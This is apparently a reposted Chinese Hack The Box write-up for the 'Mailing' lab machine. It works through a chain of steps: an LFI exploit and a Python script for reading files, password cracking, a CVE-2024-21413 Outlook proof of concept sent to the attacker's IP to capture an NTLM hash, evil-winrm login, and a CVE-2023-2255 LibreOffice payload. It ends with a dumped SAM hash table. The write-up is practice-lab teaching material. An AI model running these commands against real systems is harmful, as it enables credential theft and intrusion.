HTB-Mailing笔记

admin 2024年5月13日00:57:06评论237 views字数 5651阅读18分50秒阅读模式

HTB-Mailing笔记

扫描靶机

nmap -T4 -A -v 10.10.11.14

HTB-Mailing笔记

HTB-Mailing笔记

得到了一个域名,写进去hosts,可以看到有smb端口尝试匿名登录

HTB-Mailing笔记

445端口不行,那就先看80端口

HTB-Mailing笔记

就一个邮件服务器,结合之前扫描的25端口,查看一下后台代码可以发现一个LFI漏洞

HTB-Mailing笔记

就是在download.php那里的参数,直接点击会下载那个pdf文件,然后测试一下,看看能不能看到hosts文件

HTB-Mailing笔记

看来成功读取了,可以写一个脚本利用LFI漏洞进行读取内容

#!/usr/bin/env python3import requestsimport urllib.parsefrom termcolor import colored# 检查是否安装了 termcolor 模块try:    from termcolor import coloredexcept ImportError:    print("[!] 'termcolor' 模块未找到,请运行以下命令进行安装:n    pip install termcolor")    exit(1)# 目标 URL目标网址 = "http://mailing.htb/download.php?file="# 美化输出横幅 = """------------------------------------------------       本地文件包含 (LFI) 测试工具------------------------------------------------"""print(colored(横幅, "cyan"))# 通过请求测试文件路径def lfi(文件路径):    文件编码 = urllib.parse.quote(文件路径)    url = f"{目标网址}{文件编码}"    print(colored(f"[+] 正在测试文件:{文件路径}", "blue"))    try:        响应 = requests.get(url)        if 响应.status_code == 200 and len(响应.text) > 0:            print(colored(f"[+] 文件内容:n", "green") + 响应.text)        else:            print(colored("[!] 文件不可读或为空", "red"))    except requests.exceptions.RequestException as e:        print(colored(f"[!] 请求失败:{e}", "red"))    print("n" + "-" * 50 + "n")def main():    while True:        文件路径 = input(colored("[+] 请输入文件路径(输入 'exit' 退出):", "blue"))        if 文件路径.lower() == 'exit':            print(colored("[!] 退出工具", "yellow"))            break        lfi(文件路径)if __name__ == "__main__":    main()

HTB-Mailing笔记

里面写了password,看样子像md5,拿去破解一下

HTB-Mailing笔记

只有一个md5可以破解出来,密码是:homenetworkingadministrator,在前面可以得知这是是一个 hMailServer,pdf写出了该 hMailServer的利用过程,可以尝试利用该poc进行中间人攻击,通过嗅探,发出请求包,然后捕获哈希

https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender [email protected] --recipient [email protected] --url '\10.10.14.53README.md' --subject XD

HTB-Mailing笔记

HTB-Mailing笔记

maya::MAILING:8069a097eab16fc1:9EF47D3F92750D83C1EA6C096FE71B2F:010100000000000080F30567F89FDA013B2534B957EC4937000000000200080042004B005900370001001E00570049004E002D003300540053004E00390046005800360058004900460004003400570049004E002D003300540053004E0039004600580036005800490046002E0042004B00590037002E004C004F00430041004C000300140042004B00590037002E004C004F00430041004C000500140042004B00590037002E004C004F00430041004C000700080080F30567F89FDA010600040002000000080030003000000000000000000000000020000068F034170ACC14AF97201D650C455B43439EC1D0EA6BA1C3BC6666A1F8CD9B5C0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00350033000000000000000000

成功拿到哈希,然后直接爆破

john --wordlist=/home/zorejt/rockyou.txt maya

HTB-Mailing笔记

成功爆破出来,密码是:m4y4ngs4ri,直接使用evil-winrm登录(该机器有df,请记得免杀~~~)

evil-winrm -i 10.10.11.14 -u maya -p 'm4y4ngs4ri'

HTB-Mailing笔记

成功的拿到了user flag,查看一下当前的Document目录,可以发现有个vbs脚本跟一个py脚本

HTB-Mailing笔记

查看一下脚本,然后进行分析

Set objShell = CreateObject("WScript.Shell")objShell.Run "explorer shell:AppsFoldermicrosoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.windowslive.mail"WScript.Sleep 5000objShell.AppActivate "Mail"WScript.Sleep 1000objShell.SendKeys "{F5}"WScript.Sleep 500objShell.SendKeys "{ENTER}"WScript.Sleep 500objShell.SendKeys "{TAB}"WScript.Sleep 500objShell.SendKeys "{ENTER}"WScript.Sleep 500objShell.SendKeys "{ENTER}"WScript.Sleep 500objShell.SendKeys "^d"WScript.Sleep 500objShell.SendKeys "%{F4}"

HTB-Mailing笔记

该脚本是使用 Windows Script Host(WSH)编写的自动化脚本,具体用途是操作 Windows 环境下的应用程序和窗口

创建 Shell 对象:

Set objShell = CreateObject("WScript.Shell")

这行代码创建了一个 WScript.Shell 对象,该对象允许脚本通过 VBScript 控制和与 Windows Shell 互动。启动应用程序:

objShell.Run "explorer shell:AppsFoldermicrosoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.windowslive.mail"

使用 Run 方法打开 Windows 的邮件应用(通常是 Windows 10 邮件应用)。这里指定的是应用程序的唯一标识符,用于直接启动特定的应用。

等待程序启动:

WScript.Sleep 5000

该行代码使脚本暂停执行 5000 毫秒(5秒),以确保邮件应用有足够的时间启动。

激活窗口:

objShell.AppActivate "Mail"
  1. AppActivate 方法用于激活标题为 "Mail" 的窗口,使其成为前台活动窗口。

  2. 模拟键盘输入: 后续多行使用 SendKeys 方法发送键盘命令到激活的应用程序中:

    • {F5} 刷新当前窗口或内容。

    • {ENTER} 模拟回车键。

    • {TAB} 模拟 Tab 键,通常用于在窗口中的元素间切换焦点。

    • ^d 是 Ctrl+D 的组合键,常用于添加书签或类似功能。

    • %{F4} 是 Alt+F4 的组合键,用于关闭当前窗口。

  3. 中间的 WScript.Sleep 调用: 每次发送键盘命令后都有一个小延时(500或1000毫秒),这样做是为了给应用程序处理输入的时间,确保每个命令都能正确执行。

然后接下来分析python脚本的

from pywinauto.application import Applicationfrom pywinauto import Desktopfrom pywinauto.keyboard import send_keysfrom time import sleepapp = Application(backend="uia").connect(title_re="Inbox*")dlg = app.top_window()current_count = 0remove = 2while True:        try:                unread = dlg.InboxListBox                items = unread.item_count()                if items==1:                        sleep(20)                        continue                if items != current_count:                        for i in range(1,items-current_count-(remove-1)):                                if "Yesterday" in unread.texts()[i][0]:                                        remove = 3                                        continue                                unread[i].select()                                message = dlg.child_window(auto_id="RootFocusControl", control_type="Document").Hyperlink.invoke()                                sleep(45)                                dlg.type_keys("{ENTER}")                                unread[i].select()                        current_count = items - remove                sleep(20)        except:                pass

HTB-Mailing笔记

这个脚本使用 pywinauto 库模拟了邮件应用的操作,打开收件箱未读邮件列表并逐条打开邮件,猜测也是跟这个邮件有关的提权,查看一下后台任务

schtasks /query /fo LIST /v

HTB-Mailing笔记

  1. 任务目的

    • 任务旨在运行 C:\Users\localadmin\Documents\scripts\soffice.ps1 PowerShell 脚本,使用 Bypass 执行策略来绕过执行策略限制。

    • 该任务由 localadmin 用户执行,并由 MAILING\maya 用户配置。

  2. 任务触发器

    • 任务触发器为 "登录时"(At logon time),即在用户登录后执行。

  3. 状态和管理

    然后找一下这个脚本,可以在C:Program FilesLibreOfficeprogram看到

    • 任务目前状态为 "准备就绪"(Ready),但无下次运行时间,意味着只有用户登录时才会触发。

    • 任务未设置空闲时间、停止条件等特殊状态处理逻辑。

    • 电源管理设置为 "使用电池模式时停止"(Stop On Battery Mode)

    然后找一下这个脚本,可以在C:Program FilesLibreOfficeprogram看到

HTB-Mailing笔记

这就一个运行odt的脚本,得知是在LibreOffice那里,查看一下他的版本

HTB-Mailing笔记

版本知道了,可以找到该版本对应的poc

https://github.com/elweth-sec/CVE-2023-2255

HTB-Mailing笔记

在本地生成一个odt,然后放到C:Important Documents,autobot会自动运行

python3 CVE-2023-2255.py --cmd 'cmd.exe /c  C:UsersPublicbypass.exe' --output 'cxk.odt'

HTB-Mailing笔记

Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::localadmin:1001:aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae:::maya:1002:aad3b435b51404eeaad3b435b51404ee:af760798079bf7a3d80253126d3d28af:::WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e349e2966c623fcb0a254e866a9a7e4c::

原文始发于微信公众号(Jiyou too beautiful):HTB-Mailing笔记

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月13日00:57:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-Mailing笔记http://cn-sec.com/archives/2715682.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息